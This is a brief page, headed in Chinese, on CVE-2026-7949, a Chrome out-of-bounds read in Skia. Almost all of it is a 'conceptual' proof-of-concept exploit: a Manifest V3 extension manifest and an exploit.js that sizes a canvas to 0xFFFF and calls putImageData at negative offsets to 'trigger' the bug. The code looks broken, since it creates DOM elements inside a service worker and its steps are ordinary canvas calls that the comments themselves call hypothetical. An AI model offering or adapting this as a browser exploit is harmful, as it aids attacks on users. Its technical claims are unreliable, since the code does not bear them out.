CVE-2026-7949 Google Chrome 越界读取漏洞

// Conceptual PoC for CVE-2026-7949 // Triggering OOB read in Skia via Chrome Extension // manifest.json /* { "manifest_version": 3, "name": "Skia OOB Trigger", "version": "1.0", "permissions": ["activeTab"], "background": { "service_worker": "exploit.js" } } */ // exploit.js function triggerExploit() { const canvas = document.createElement('canvas'); const ctx = canvas.getContext('2d', { willReadFrequently: true }); // Craft dimensions to trigger the specific Skia calculation error canvas.width = 0xFFFF; canvas.height = 0xFFFF; // Hypothetical image data that causes OOB in versions < 148.0.7778.96 const imgData = ctx.createImageData(canvas.width, canvas.height); try { // Attempt to draw or manipulate data in a way that triggers OOB // This simulates the 'crafted Chrome Extension' behavior ctx.putImageData(imgData, -1, -1); // If renderer is compromised, reading memory might be possible const leaked = ctx.getImageData(0, 0, 1, 1); console.log("[+] Skia OOB Read Trigger Attempted"); } catch (e) { console.log("[-] Exploit failed: " + e); } } // Execute logic triggerExploit();